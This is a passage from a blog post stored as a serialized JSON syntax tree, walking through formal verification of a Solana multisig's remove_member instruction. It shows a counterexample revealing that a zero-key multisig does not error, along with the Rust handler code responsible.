new_index",{"type":22,"tag":101,"props":30251,"children":30252},{"style":166},[30253],{"type":27,"value":960},{"type":22,"tag":101,"props":30255,"children":30256},{"style":126},[30257],{"type":27,"value":29841},{"type":22,"tag":101,"props":30259,"children":30260},{"style":166},[30261],{"type":27,"value":231},{"type":22,"tag":101,"props":30263,"children":30264},{"style":120},[30265],{"type":27,"value":18677},{"type":22,"tag":101,"props":30267,"children":30268},{"style":166},[30269],{"type":27,"value":231},{"type":22,"tag":101,"props":30271,"children":30272},{"style":120},[30273],{"type":27,"value":27803},{"type":22,"tag":101,"props":30275,"children":30276},{"style":166},[30277],{"type":27,"value":231},{"type":22,"tag":101,"props":30279,"children":30280},{"style":120},[30281],{"type":27,"value":30282},"transaction_index;\n",{"type":22,"tag":101,"props":30284,"children":30285},{"class":103,"line":13117},[30286,30290,30294,30298,30302,30306,30310,30315,30319,30324],{"type":22,"tag":101,"props":30287,"children":30288},{"style":126},[30289],{"type":27,"value":24215},{"type":22,"tag":101,"props":30291,"children":30292},{"style":166},[30293],{"type":27,"value":231},{"type":22,"tag":101,"props":30295,"children":30296},{"style":120},[30297],{"type":27,"value":18677},{"type":22,"tag":101,"props":30299,"children":30300},{"style":166},[30301],{"type":27,"value":231},{"type":22,"tag":101,"props":30303,"children":30304},{"style":120},[30305],{"type":27,"value":27803},{"type":22,"tag":101,"props":30307,"children":30308},{"style":166},[30309],{"type":27,"value":231},{"type":22,"tag":101,"props":30311,"children":30312},{"style":926},[30313],{"type":27,"value":30314},"set_change_index",{"type":22,"tag":101,"props":30316,"children":30317},{"style":120},[30318],{"type":27,"value":980},{"type":22,"tag":101,"props":30320,"children":30321},{"style":126},[30322],{"type":27,"value":30323},"new_index",{"type":22,"tag":101,"props":30325,"children":30326},{"style":120},[30327],{"type":27,"value":2510},{"type":22,"tag":101,"props":30329,"children":30330},{"class":103,"line":13223},[30331],{"type":22,"tag":101,"props":30332,"children":30333},{"style":120},[30334],{"type":27,"value":188},{"type":22,"tag":23,"props":30336,"children":30337},{},[30338,30340,30345],{"type":27,"value":30339},"First let's establish the ",{"type":22,"tag":30,"props":30341,"children":30343},{"className":30342},[],[30344],{"type":27,"value":24146},{"type":27,"value":30346}," condition. We can do this either interactively, following counterexamples like in the first example or we can guess what a sufficient condition might be:",{"type":22,"tag":91,"props":30348,"children":30350},{"code":30349,"language":95,"meta":7,"className":93,"style":7},"#[succeeds_if(\n ctx.accounts.multisig.keys.len() > 1\n)]\nfn remove_member(...) { ... }\n",[30351],{"type":22,"tag":30,"props":30352,"children":30353},{"__ignoreMap":7},[30354,30361,30408,30415],{"type":22,"tag":101,"props":30355,"children":30356},{"class":103,"line":104},[30357],{"type":22,"tag":101,"props":30358,"children":30359},{"style":120},[30360],{"type":27,"value":28110},{"type":22,"tag":101,"props":30362,"children":30363},{"class":103,"line":157},[30364,30368,30372,30376,30380,30384,30388,30392,30396,30400,30404],{"type":22,"tag":101,"props":30365,"children":30366},{"style":120},[30367],{"type":27,"value":24215},{"type":22,"tag":101,"props":30369,"children":30370},{"style":166},[30371],{"type":27,"value":231},{"type":22,"tag":101,"props":30373,"children":30374},{"style":120},[30375],{"type":27,"value":18677},{"type":22,"tag":101,"props":30377,"children":30378},{"style":166},[30379],{"type":27,"value":231},{"type":22,"tag":101,"props":30381,"children":30382},{"style":120},[30383],{"type":27,"value":27803},{"type":22,"tag":101,"props":30385,"children":30386},{"style":166},[30387],{"type":27,"value":231},{"type":22,"tag":101,"props":30389,"children":30390},{"style":120},[30391],{"type":27,"value":24970},{"type":22,"tag":101,"props":30393,"children":30394},{"style":166},[30395],{"type":27,"value":231},{"type":22,"tag":101,"props":30397,"children":30398},{"style":120},[30399],{"type":27,"value":25008},{"type":22,"tag":101,"props":30401,"children":30402},{"style":166},[30403],{"type":27,"value":14467},{"type":22,"tag":101,"props":30405,"children":30406},{"style":120},[30407],{"type":27,"value":23433},{"type":22,"tag":101,"props":30409,"children":30410},{"class":103,"line":182},[30411],{"type":22,"tag":101,"props":30412,"children":30413},{"style":120},[30414],{"type":27,"value":24250},{"type":22,"tag":101,"props":30416,"children":30417},{"class":103,"line":367},[30418,30422,30426,30430,30434,30438,30442],{"type":22,"tag":101,"props":30419,"children":30420},{"style":108},[30421],{"type":27,"value":24258},{"type":22,"tag":101,"props":30423,"children":30424},{"style":926},[30425],{"type":27,"value":29763},{"type":22,"tag":101,"props":30427,"children":30428},{"style":120},[30429],{"type":27,"value":980},{"type":22,"tag":101,"props":30431,"children":30432},{"style":166},[30433],{"type":27,"value":614},{"type":22,"tag":101,"props":30435,"children":30436},{"style":120},[30437],{"type":27,"value":27987},{"type":22,"tag":101,"props":30439,"children":30440},{"style":166},[30441],{"type":27,"value":614},{"type":22,"tag":101,"props":30443,"children":30444},{"style":120},[30445],{"type":27,"value":13601},{"type":22,"tag":23,"props":30447,"children":30448},{},[30449,30451,30456],{"type":27,"value":30450},"And for now let's remove the invariant on the ",{"type":22,"tag":30,"props":30452,"children":30454},{"className":30453},[],[30455],{"type":27,"value":26729},{"type":27,"value":30457}," account:",{"type":22,"tag":91,"props":30459,"children":30461},{"code":30460,"language":95,"meta":7,"className":93,"style":7},"#[invariant()]\npub struct Ms { ... }\n",[30462],{"type":22,"tag":30,"props":30463,"children":30464},{"__ignoreMap":7},[30465,30473],{"type":22,"tag":101,"props":30466,"children":30467},{"class":103,"line":104},[30468],{"type":22,"tag":101,"props":30469,"children":30470},{"style":120},[30471],{"type":27,"value":30472},"#[invariant()]\n",{"type":22,"tag":101,"props":30474,"children":30475},{"class":103,"line":157},[30476,30480,30484,30488,30492,30496],{"type":22,"tag":101,"props":30477,"children":30478},{"style":108},[30479],{"type":27,"value":17693},{"type":22,"tag":101,"props":30481,"children":30482},{"style":108},[30483],{"type":27,"value":25138},{"type":22,"tag":101,"props":30485,"children":30486},{"style":114},[30487],{"type":27,"value":25143},{"type":22,"tag":101,"props":30489,"children":30490},{"style":120},[30491],{"type":27,"value":1479},{"type":22,"tag":101,"props":30493,"children":30494},{"style":166},[30495],{"type":27,"value":614},{"type":22,"tag":101,"props":30497,"children":30498},{"style":120},[30499],{"type":27,"value":13601},{"type":22,"tag":23,"props":30501,"children":30502},{},[30503],{"type":27,"value":30504},"Let's test this!",{"type":22,"tag":23,"props":30506,"children":30507},{},[30508,30510,30515],{"type":27,"value":30509},"Our ",{"type":22,"tag":30,"props":30511,"children":30513},{"className":30512},[],[30514],{"type":27,"value":24146},{"type":27,"value":30516}," harness produces:",{"type":22,"tag":91,"props":30518,"children":30520},{"code":30519},"VERIFICATION:- SUCCESSFUL\nVerification Time: 28.119272s\n",[30521],{"type":22,"tag":30,"props":30522,"children":30523},{"__ignoreMap":7},[30524],{"type":27,"value":30519},{"type":22,"tag":23,"props":30526,"children":30527},{},[30528],{"type":27,"value":30529},"This tells us that if our multisig has at least two keys then the instruction will succeed.",{"type":22,"tag":23,"props":30531,"children":30532},{},[30533,30535,30540],{"type":27,"value":30534},"However, remember that since ",{"type":22,"tag":30,"props":30536,"children":30538},{"className":30537},[],[30539],{"type":27,"value":24146},{"type":27,"value":30541}," represents just the sufficient conditions, there may be other cases where the function succeeds.",{"type":22,"tag":23,"props":30543,"children":30544},{},[30545,30547,30552,30554,30559,30561,30566],{"type":27,"value":30546},"Suppose we want to be sure that this condition is the ",{"type":22,"tag":6961,"props":30548,"children":30549},{},[30550],{"type":27,"value":30551},"only condition",{"type":27,"value":30553}," in which the function will succeed (i.e. ",{"type":22,"tag":6961,"props":30555,"children":30556},{},[30557],{"type":27,"value":30558},"\"the function will succeed if and only if the multisig has at least two keys\"",{"type":27,"value":30560},"). We could attempt to verify the other side of this with an ",{"type":22,"tag":30,"props":30562,"children":30564},{"className":30563},[],[30565],{"type":27,"value":24153},{"type":27,"value":30567}," macro such as:",{"type":22,"tag":91,"props":30569,"children":30571},{"code":30570,"language":95,"meta":7,"className":93,"style":7},"#[succeeds_if(\n ctx.accounts.multisig.keys.len() > 1\n)]\n#[errors_if(\n ctx.accounts.multisig.keys.len() \u003C= 1\n)]\nfn remove_member(...) { ... }\n",[30572],{"type":22,"tag":30,"props":30573,"children":30574},{"__ignoreMap":7},[30575,30582,30629,30636,30643,30690,30697],{"type":22,"tag":101,"props":30576,"children":30577},{"class":103,"line":104},[30578],{"type":22,"tag":101,"props":30579,"children":30580},{"style":120},[30581],{"type":27,"value":28110},{"type":22,"tag":101,"props":30583,"children":30584},{"class":103,"line":157},[30585,30589,30593,30597,30601,30605,30609,30613,30617,30621,30625],{"type":22,"tag":101,"props":30586,"children":30587},{"style":120},[30588],{"type":27,"value":24215},{"type":22,"tag":101,"props":30590,"children":30591},{"style":166},[30592],{"type":27,"value":231},{"type":22,"tag":101,"props":30594,"children":30595},{"style":120},[30596],{"type":27,"value":18677},{"type":22,"tag":101,"props":30598,"children":30599},{"style":166},[30600],{"type":27,"value":231},{"type":22,"tag":101,"props":30602,"children":30603},{"style":120},[30604],{"type":27,"value":27803},{"type":22,"tag":101,"props":30606,"children":30607},{"style":166},[30608],{"type":27,"value":231},{"type":22,"tag":101,"props":30610,"children":30611},{"style":120},[30612],{"type":27,"value":24970},{"type":22,"tag":101,"props":30614,"children":30615},{"style":166},[30616],{"type":27,"value":231},{"type":22,"tag":101,"props":30618,"children":30619},{"style":120},[30620],{"type":27,"value":25008},{"type":22,"tag":101,"props":30622,"children":30623},{"style":166},[30624],{"type":27,"value":14467},{"type":22,"tag":101,"props":30626,"children":30627},{"style":120},[30628],{"type":27,"value":23433},{"type":22,"tag":101,"props":30630,"children":30631},{"class":103,"line":182},[30632],{"type":22,"tag":101,"props":30633,"children":30634},{"style":120},[30635],{"type":27,"value":24250},{"type":22,"tag":101,"props":30637,"children":30638},{"class":103,"line":367},[30639],{"type":22,"tag":101,"props":30640,"children":30641},{"style":120},[30642],{"type":27,"value":24207},{"type":22,"tag":101,"props":30644,"children":30645},{"class":103,"line":398},[30646,30650,30654,30658,30662,30666,30670,30674,30678,30682,30686],{"type":22,"tag":101,"props":30647,"children":30648},{"style":120},[30649],{"type":27,"value":24215},{"type":22,"tag":101,"props":30651,"children":30652},{"style":166},[30653],{"type":27,"value":231},{"type":22,"tag":101,"props":30655,"children":30656},{"style":120},[30657],{"type":27,"value":18677},{"type":22,"tag":101,"props":30659,"children":30660},{"style":166},[30661],{"type":27,"value":231},{"type":22,"tag":101,"props":30663,"children":30664},{"style":120},[30665],{"type":27,"value":27803},{"type":22,"tag":101,"props":30667,"children":30668},{"style":166},[30669],{"type":27,"value":231},{"type":22,"tag":101,"props":30671,"children":30672},{"style":120},[30673],{"type":27,"value":24970},{"type":22,"tag":101,"props":30675,"children":30676},{"style":166},[30677],{"type":27,"value":231},{"type":22,"tag":101,"props":30679,"children":30680},{"style":120},[30681],{"type":27,"value":25008},{"type":22,"tag":101,"props":30683,"children":30684},{"style":166},[30685],{"type":27,"value":23405},{"type":22,"tag":101,"props":30687,"children":30688},{"style":120},[30689],{"type":27,"value":23433},{"type":22,"tag":101,"props":30691,"children":30692},{"class":103,"line":428},[30693],{"type":22,"tag":101,"props":30694,"children":30695},{"style":120},[30696],{"type":27,"value":24250},{"type":22,"tag":101,"props":30698,"children":30699},{"class":103,"line":997},[30700,30704,30708,30712,30716,30720,30724],{"type":22,"tag":101,"props":30701,"children":30702},{"style":108},[30703],{"type":27,"value":24258},{"type":22,"tag":101,"props":30705,"children":30706},{"style":926},[30707],{"type":27,"value":29763},{"type":22,"tag":101,"props":30709,"children":30710},{"style":120},[30711],{"type":27,"value":980},{"type":22,"tag":101,"props":30713,"children":30714},{"style":166},[30715],{"type":27,"value":614},{"type":22,"tag":101,"props":30717,"children":30718},{"style":120},[30719],{"type":27,"value":27987},{"type":22,"tag":101,"props":30721,"children":30722},{"style":166},[30723],{"type":27,"value":614},{"type":22,"tag":101,"props":30725,"children":30726},{"style":120},[30727],{"type":27,"value":13601},{"type":22,"tag":23,"props":30729,"children":30730},{},[30731,30733,30738],{"type":27,"value":30732},"Let's test this, we just need to run the new ",{"type":22,"tag":30,"props":30734,"children":30736},{"className":30735},[],[30737],{"type":27,"value":24153},{"type":27,"value":30739}," harness:",{"type":22,"tag":91,"props":30741,"children":30743},{"code":30742},"VERIFICATION:- FAILED\nVerification Time: 31.900913s\n",[30744],{"type":22,"tag":30,"props":30745,"children":30746},{"__ignoreMap":7},[30747],{"type":27,"value":30742},{"type":22,"tag":23,"props":30749,"children":30750},{},[30751],{"type":27,"value":30752},"Hmm, this verification failed! Let's look at the counterexample. The multisig it is trying to remove a member from looks like:",{"type":22,"tag":91,"props":30754,"children":30756},{"code":30755,"language":95,"meta":7,"className":93,"style":7},"Account {\n account: Ms {\n threshold: 0,\n authority_index: 0,\n transaction_index: 0,\n ms_change_index: 0,\n bump: 0,\n create_key: ...,\n allow_external_execute: false,\n keys: Vec {\n data: ...,\n size: 0,\n },\n },\n info: AccountInfo { ... },\n}\n",[30757],{"type":22,"tag":30,"props":30758,"children":30759},{"__ignoreMap":7},[30760,30771,30790,30809,30828,30847,30866,30885,30904,30923,30942,30962,30981,30988,30995,31022],{"type":22,"tag":101,"props":30761,"children":30762},{"class":103,"line":104},[30763,30767],{"type":22,"tag":101,"props":30764,"children":30765},{"style":114},[30766],{"type":27,"value":21143},{"type":22,"tag":101,"props":30768,"children":30769},{"style":120},[30770],{"type":27,"value":154},{"type":22,"tag":101,"props":30772,"children":30773},{"class":103,"line":157},[30774,30778,30782,30786],{"type":22,"tag":101,"props":30775,"children":30776},{"style":126},[30777],{"type":27,"value":6626},{"type":22,"tag":101,"props":30779,"children":30780},{"style":166},[30781],{"type":27,"value":169},{"type":22,"tag":101,"props":30783,"children":30784},{"style":114},[30785],{"type":27,"value":25143},{"type":22,"tag":101,"props":30787,"children":30788},{"style":120},[30789],{"type":27,"value":154},{"type":22,"tag":101,"props":30791,"children":30792},{"class":103,"line":182},[30793,30797,30801,30805],{"type":22,"tag":101,"props":30794,"children":30795},{"style":126},[30796],{"type":27,"value":27824},{"type":22,"tag":101,"props":30798,"children":30799},{"style":166},[30800],{"type":27,"value":169},{"type":22,"tag":101,"props":30802,"children":30803},{"style":1544},[30804],{"type":27,"value":1547},{"type":22,"tag":101,"props":30806,"children":30807},{"style":120},[30808],{"type":27,"value":179},{"type":22,"tag":101,"props":30810,"children":30811},{"class":103,"line":367},[30812,30816,30820,30824],{"type":22,"tag":101,"props":30813,"children":30814},{"style":126},[30815],{"type":27,"value":29209},{"type":22,"tag":101,"props":30817,"children":30818},{"style":166},[30819],{"type":27,"value":169},{"type":22,"tag":101,"props":30821,"children":30822},{"style":1544},[30823],{"type":27,"value":1547},{"type":22,"tag":101,"props":30825,"children":30826},{"style":120},[30827],{"type":27,"value":179},{"type":22,"tag":101,"props":30829,"children":30830},{"class":103,"line":398},[30831,30835,30839,30843],{"type":22,"tag":101,"props":30832,"children":30833},{"style":126},[30834],{"type":27,"value":29229},{"type":22,"tag":101,"props":30836,"children":30837},{"style":166},[30838],{"type":27,"value":169},{"type":22,"tag":101,"props":30840,"children":30841},{"style":1544},[30842],{"type":27,"value":1547},{"type":22,"tag":101,"props":30844,"children":30845},{"style":120},[30846],{"type":27,"value":179},{"type":22,"tag":101,"props":30848,"children":30849},{"class":103,"line":428},[30850,30854,30858,30862],{"type":22,"tag":101,"props":30851,"children":30852},{"style":126},[30853],{"type":27,"value":29249},{"type":22,"tag":101,"props":30855,"children":30856},{"style":166},[30857],{"type":27,"value":169},{"type":22,"tag":101,"props":30859,"children":30860},{"style":1544},[30861],{"type":27,"value":1547},{"type":22,"tag":101,"props":30863,"children":30864},{"style":120},[30865],{"type":27,"value":179},{"type":22,"tag":101,"props":30867,"children":30868},{"class":103,"line":997},[30869,30873,30877,30881],{"type":22,"tag":101,"props":30870,"children":30871},{"style":126},[30872],{"type":27,"value":29269},{"type":22,"tag":101,"props":30874,"children":30875},{"style":166},[30876],{"type":27,"value":169},{"type":22,"tag":101,"props":30878,"children":30879},{"style":1544},[30880],{"type":27,"value":1547},{"type":22,"tag":101,"props":30882,"children":30883},{"style":120},[30884],{"type":27,"value":179},{"type":22,"tag":101,"props":30886,"children":30887},{"class":103,"line":1032},[30888,30892,30896,30900],{"type":22,"tag":101,"props":30889,"children":30890},{"style":126},[30891],{"type":27,"value":27837},{"type":22,"tag":101,"props":30893,"children":30894},{"style":166},[30895],{"type":27,"value":169},{"type":22,"tag":101,"props":30897,"children":30898},{"style":166},[30899],{"type":27,"value":29297},{"type":22,"tag":101,"props":30901,"children":30902},{"style":120},[30903],{"type":27,"value":179},{"type":22,"tag":101,"props":30905,"children":30906},{"class":103,"line":1063},[30907,30911,30915,30919],{"type":22,"tag":101,"props":30908,"children":30909},{"style":126},[30910],{"type":27,"value":29309},{"type":22,"tag":101,"props":30912,"children":30913},{"style":166},[30914],{"type":27,"value":169},{"type":22,"tag":101,"props":30916,"children":30917},{"style":108},[30918],{"type":27,"value":13065},{"type":22,"tag":101,"props":30920,"children":30921},{"style":120},[30922],{"type":27,"value":179},{"type":22,"tag":101,"props":30924,"children":30925},{"class":103,"line":1071},[30926,30930,30934,30938],{"type":22,"tag":101,"props":30927,"children":30928},{"style":126},[30929],{"type":27,"value":29329},{"type":22,"tag":101,"props":30931,"children":30932},{"style":166},[30933],{"type":27,"value":169},{"type":22,"tag":101,"props":30935,"children":30936},{"style":114},[30937],{"type":27,"value":25376},{"type":22,"tag":101,"props":30939,"children":30940},{"style":120},[30941],{"type":27,"value":154},{"type":22,"tag":101,"props":30943,"children":30944},{"class":103,"line":1110},[30945,30950,30954,30958],{"type":22,"tag":101,"props":30946,"children":30947},{"style":126},[30948],{"type":27,"value":30949}," data",{"type":22,"tag":101,"props":30951,"children":30952},{"style":166},[30953],{"type":27,"value":169},{"type":22,"tag":101,"props":30955,"children":30956},{"style":166},[30957],{"type":27,"value":29297},{"type":22,"tag":101,"props":30959,"children":30960},{"style":120},[30961],{"type":27,"value":179},{"type":22,"tag":101,"props":30963,"children":30964},{"class":103,"line":1118},[30965,30969,30973,30977],{"type":22,"tag":101,"props":30966,"children":30967},{"style":126},[30968],{"type":27,"value":29350},{"type":22,"tag":101,"props":30970,"children":30971},{"style":166},[30972],{"type":27,"value":169},{"type":22,"tag":101,"props":30974,"children":30975},{"style":1544},[30976],{"type":27,"value":1547},{"type":22,"tag":101,"props":30978,"children":30979},{"style":120},[30980],{"type":27,"value":179},{"type":22,"tag":101,"props":30982,"children":30983},{"class":103,"line":1158},[30984],{"type":22,"tag":101,"props":30985,"children":30986},{"style":120},[30987],{"type":27,"value":29371},{"type":22,"tag":101,"props":30989,"children":30990},{"class":103,"line":1166},[30991],{"type":22,"tag":101,"props":30992,"children":30993},{"style":120},[30994],{"type":27,"value":29379},{"type":22,"tag":101,"props":30996,"children":30997},{"class":103,"line":1215},[30998,31002,31006,31010,31014,31018],{"type":22,"tag":101,"props":30999,"children":31000},{"style":126},[31001],{"type":27,"value":29387},{"type":22,"tag":101,"props":31003,"children":31004},{"style":166},[31005],{"type":27,"value":169},{"type":22,"tag":101,"props":31007,"children":31008},{"style":114},[31009],{"type":27,"value":29396},{"type":22,"tag":101,"props":31011,"children":31012},{"style":120},[31013],{"type":27,"value":1479},{"type":22,"tag":101,"props":31015,"children":31016},{"style":166},[31017],{"type":27,"value":614},{"type":22,"tag":101,"props":31019,"children":31020},{"style":120},[31021],{"type":27,"value":29409},{"type":22,"tag":101,"props":31023,"children":31024},{"class":103,"line":2425},[31025],{"type":22,"tag":101,"props":31026,"children":31027},{"style":120},[31028],{"type":27,"value":188},{"type":22,"tag":23,"props":31030,"children":31031},{},[31032],{"type":27,"value":31033},"Interestingly, the multisig has 0 keys and yet this instruction does not error. Let's take a closer look to figure out why:",{"type":22,"tag":23,"props":31035,"children":31036},{},[31037,31039,31045],{"type":27,"value":31038},"Inside our handler, we see that it only checks if the number of keys exactly equals 1. Otherwise it invokes ",{"type":22,"tag":30,"props":31040,"children":31042},{"className":31041},[],[31043],{"type":27,"value":31044},"Ms::remove_member",{"type":27,"value":169},{"type":22,"tag":91,"props":31047,"children":31049},{"code":31048,"language":95,"meta":7,"className":93,"style":7},"if ctx.accounts.multisig.keys.len() == 1 {\n return err!(MsError::CannotRemoveSoloMember);\n}\nctx.accounts.multisig.remove_member(old_member)?;\n",[31050],{"type":22,"tag":30,"props":31051,"children":31052},{"__ignoreMap":7},[31053,31112,31143,31150],{"type":22,"tag":101,"props":31054,"children":31055},{"class":103,"line":104},[31056,31060,31064,31068,31072,31076,31080,31084,31088,31092,31096,31100,31104,31108],{"type":22,"tag":101,"props":31057,"children":31058},{"style":3595},[31059],{"type":27,"value":19578},{"type":22,"tag":101,"props":31061,"children":31062},{"style":126},[31063],{"type":27,"value":29841},{"type":22,"tag":101,"props":31065,"children":31066},{"style":166},[31067],{"type":27,"value":231},{"type":22,"tag":101,"props":31069,"children":31070},{"style":120},[31071],{"type":27,"value":18677},{"type":22,"tag":101,"props":31073,"children":31074},{"style":166},[31075],{"type":27,"value":231},{"type":22,"tag":101,"props":31077,"children":31078},{"style":120},[31079],{"type":27,"value":27803},{"type":22,"tag":101,"props":31081,"children":31082},{"style":166},[31083],{"type":27,"value":231},{"type":22,"tag":101,"props":31085,"children":31086},{"style":120},[31087],{"type":27,"value":24970},{"type":22,"tag":101,"props":31089,"children":31090},{"style":166},[31091],{"type":27,"value":231},{"type":22,"tag":101,"props":31093,"children":31094},{"style":926},[31095],{"type":27,"value":13147},{"type":22,"tag":101,"props":31097,"children":31098},{"style":120},[31099],{"type":27,"value":18045},{"type":22,"tag":101,"props":31101,"children":31102},{"style":166},[31103],{"type":27,"value":4340},{"type":22,"tag":101,"props":31105,"children":31106},{"style":1544},[31107],{"type":27,"value":3648},{"type":22,"tag":101,"props":31109,"children":31110},{"style":120},[31111],{"type":27,"value":154},{"type":22,"tag":101,"props":31113,"children":31114},{"class":103,"line":157},[31115,31119,31123,31127,31131,31135,31139],{"type":22,"tag":101,"props":31116,"children":31117},{"style":3595},[31118],{"type":27,"value":20986},{"type":22,"tag":101,"props":31120,"children":31121},{"style":926},[31122],{"type":27,"value":27506},{"type":22,"tag":101,"props":31124,"children":31125},{"style":120},[31126],{"type":27,"value":980},{"type":22,"tag":101,"props":31128,"children":31129},{"style":114},[31130],{"type":27,"value":27515},{"type":22,"tag":101,"props":31132,"children":31133},{"style":166},[31134],{"type":27,"value":970},{"type":22,"tag":101,"props":31136,"children":31137},{"style":114},[31138],{"type":27,"value":29917},{"type":22,"tag":101,"props":31140,"children":31141},{"style":120},[31142],{"type":27,"value":994},{"type":22,"tag":101,"props":31144,"children":31145},{"class":103,"line":182},[31146],{"type":22,"tag":101,"props":31147,"children":31148},{"style":120},[31149],{"type":27,"value":188},{"type":22,"tag":101,"props":31151,"children":31152},{"class":103,"line":367},[31153,31157,31161,31165,31169,31173,31177,31181,31185,31189,31193,31197],{"type":22,"tag":101,"props":31154,"children":31155},{"style":126},[31156],{"type":27,"value":24271},{"type":22,"tag":101,"props":31158,"children":31159},{"style":166},[31160],{"type":27,"value":231},{"type":22,"tag":101,"props":31162,"children":31163},{"style":120},[31164],{"type":27,"value":18677},{"type":22,"tag":101,"props":31166,"children":31167},{"style":166},[31168],{"type":27,"value":231},{"type":22,"tag":101,"props":31170,"children":31171},{"style":120},[31172],{"type":27,"value":27803},{"type":22,"tag":101,"props":31174,"children":31175},{"style":166},[31176],{"type":27,"value":231},{"type":22,"tag":101,"props":31178,"children":31179},{"style":926},[31180],{"type":27,"value":29464},{"type":22,"tag":101,"props":31182,"children":31183},{"style":120},[31184],{"type":27,"value":980},{"type":22,"tag":101,"props":31186,"children":31187},{"style":126},[31188],{"type":27,"value":29797},{"type":22,"tag":101,"props":31190,"children":31191},{"style":120},[31192],{"type":27,"value":2261},{"type":22,"tag":101,"props":31194,"children":31195},{"style":166},[31196],{"type":27,"value":5455},{"type":22,"tag":101,"props":31198,"children":31199},{"style":120},[31200],{"type":27,"value":1520},{"type":22,"tag":23,"props":31202,"children":31203},{},[31204,31206,31212,31214,31220],{"type":27,"value":31205},"In that function, it checks if the member to remove is contained in that multisig (with ",{"type":22,"tag":30,"props":31207,"children":31209},{"className":31208},[],[31210],{"type":27,"value":31211},"Ms::is_member",{"type":27,"value":31213},") and if it is not, it simply skips the removal and returns ",{"type":22,"tag":30,"props":31215,"children":31217},{"className":31216},[],[31218],{"type":27,"value":31219},"Ok(())",{"type":27,"value":231},{"type":22,"tag":91,"props":31222,"children":31224},{"code":31223,"language":95,"meta":7,"className":93,"style":7},"pub fn remove_member(&mut self, member: Pubkey) -> Result\u003C()> {\n if let Some(ind) = self.is_member(member) {\n self.keys.remove(ind);\n if self.keys.len() \u003C usize::from(self.threshold) {\n self.threshold = self.keys.len().try_into().unwrap();\n }\n }\n Ok(())\n}\n",[31225],{"type":22,"tag":30,"props":31226,"children":31227},{"__ignoreMap":7},[31228,31292,31351,31388,31447,31515,31522,31529,31540],{"type":22,"tag":101,"props":31229,"children":31230},{"class":103,"line":104},[31231,31235,31239,31243,31247,31251,31255,31259,31263,31268,31272,31276,31280,31284,31288],{"type":22,"tag":101,"props":31232,"children":31233},{"style":108},[31234],{"type":27,"value":17693},{"type":22,"tag":101,"props":31236,"children":31237},{"style":108},[31238],{"type":27,"value":17698},{"type":22,"tag":101,"props":31240,"children":31241},{"style":926},[31242],{"type":27,"value":29763},{"type":22,"tag":101,"props":31244,"children":31245},{"style":120},[31246],{"type":27,"value":980},{"type":22,"tag":101,"props":31248,"children":31249},{"style":166},[31250],{"type":27,"value":985},{"type":22,"tag":101,"props":31252,"children":31253},{"style":108},[31254],{"type":27,"value":7760},{"type":22,"tag":101,"props":31256,"children":31257},{"style":108},[31258],{"type":27,"value":17799},{"type":22,"tag":101,"props":31260,"children":31261},{"style":120},[31262],{"type":27,"value":758},{"type":22,"tag":101,"props":31264,"children":31265},{"style":126},[31266],{"type":27,"value":31267},"member",{"type":22,"tag":101,"props":31269,"children":31270},{"style":166},[31271],{"type":27,"value":169},{"type":22,"tag":101,"props":31273,"children":31274},{"style":114},[31275],{"type":27,"value":24844},{"type":22,"tag":101,"props":31277,"children":31278},{"style":120},[31279],{"type":27,"value":901},{"type":22,"tag":101,"props":31281,"children":31282},{"style":166},[31283],{"type":27,"value":17759},{"type":22,"tag":101,"props":31285,"children":31286},{"style":114},[31287],{"type":27,"value":17764},{"type":22,"tag":101,"props":31289,"children":31290},{"style":120},[31291],{"type":27,"value":24321},{"type":22,"tag":101,"props":31293,"children":31294},{"class":103,"line":157},[31295,31299,31304,31309,31313,31318,31322,31326,31330,31334,31339,31343,31347],{"type":22,"tag":101,"props":31296,"children":31297},{"style":3595},[31298],{"type":27,"value":16283},{"type":22,"tag":101,"props":31300,"children":31301},{"style":108},[31302],{"type":27,"value":31303}," let",{"type":22,"tag":101,"props":31305,"children":31306},{"style":114},[31307],{"type":27,"value":31308}," Some",{"type":22,"tag":101,"props":31310,"children":31311},{"style":120},[31312],{"type":27,"value":980},{"type":22,"tag":101,"props":31314,"children":31315},{"style":126},[31316],{"type":27,"value":31317},"ind",{"type":22,"tag":101,"props":31319,"children":31320},{"style":120},[31321],{"type":27,"value":901},{"type":22,"tag":101,"props":31323,"children":31324},{"style":166},[31325],{"type":27,"value":1511},{"type":22,"tag":101,"props":31327,"children":31328},{"style":108},[31329],{"type":27,"value":17799},{"type":22,"tag":101,"props":31331,"children":31332},{"style":166},[31333],{"type":27,"value":231},{"type":22,"tag":101,"props":31335,"children":31336},{"style":926},[31337],{"type":27,"value":31338},"is_member",{"type":22,"tag":101,"props":31340,"children":31341},{"style":120},[31342],{"type":27,"value":980},{"type":22,"tag":101,"props":31344,"children":31345},{"style":126},[31346],{"type":27,"value":31267},{"type":22,"tag":101,"props":31348,"children":31349},{"style":120},[31350],{"type":27,"value":1463},{"type":22,"tag":101,"props":31352,"children":31353},{"class":103,"line":182},[31354,31359,31363,31367,31371,31376,31380,31384],{"type":22,"tag":101,"props":31355,"children":31356},{"style":108},[31357],{"type":27,"value":31358}," self",{"type":22,"tag":101,"props":31360,"children":31361},{"style":166},[31362],{"type":27,"value":231},{"type":22,"tag":101,"props":31364,"children":31365},{"style":120},[31366],{"type":27,"value":24970},{"type":22,"tag":101,"props":31368,"children":31369},{"style":166},[31370],{"type":27,"value":231},{"type":22,"tag":101,"props":31372,"children":31373},{"style":926},[31374],{"type":27,"value":31375},"remove",{"type":22,"tag":101,"props":31377,"children":31378},{"style":120},[31379],{"type":27,"value":980},{"type":22,"tag":101,"props":31381,"children":31382},{"style":126},[31383],{"type":27,"value":31317},{"type":22,"tag":101,"props":31385,"children":31386},{"style":120},[31387],{"type":27,"value":994},{"type":22,"tag":101,"props":31389,"children":31390},{"class":103,"line":367},[31391,31395,31399,31403,31407,31411,31415,31419,31423,31427,31431,31435,31439,31443],{"type":22,"tag":101,"props":31392,"children":31393},{"style":3595},[31394],{"type":27,"value":7312},{"type":22,"tag":101,"props":31396,"children":31397},{"style":108},[31398],{"type":27,"value":17799},{"type":22,"tag":101,"props":31400,"children":31401},{"style":166},[31402],{"type":27,"value":231},{"type":22,"tag":101,"props":31404,"children":31405},{"style":120},[31406],{"type":27,"value":24970},{"type":22,"tag":101,"props":31408,"children":31409},{"style":166},[31410],{"type":27,"value":231},{"type":22,"tag":101,"props":31412,"children":31413},{"style":926},[31414],{"type":27,"value":13147},{"type":22,"tag":101,"props":31416,"children":31417},{"style":120},[31418],{"type":27,"value":30042},{"type":22,"tag":101,"props":31420,"children":31421},{"style":114},[31422],{"type":27,"value":20600},{"type":22,"tag":101,"props":31424,"children":31425},{"style":166},[31426],{"type":27,"value":970},{"type":22,"tag":101,"props":31428,"children":31429},{"style":926},[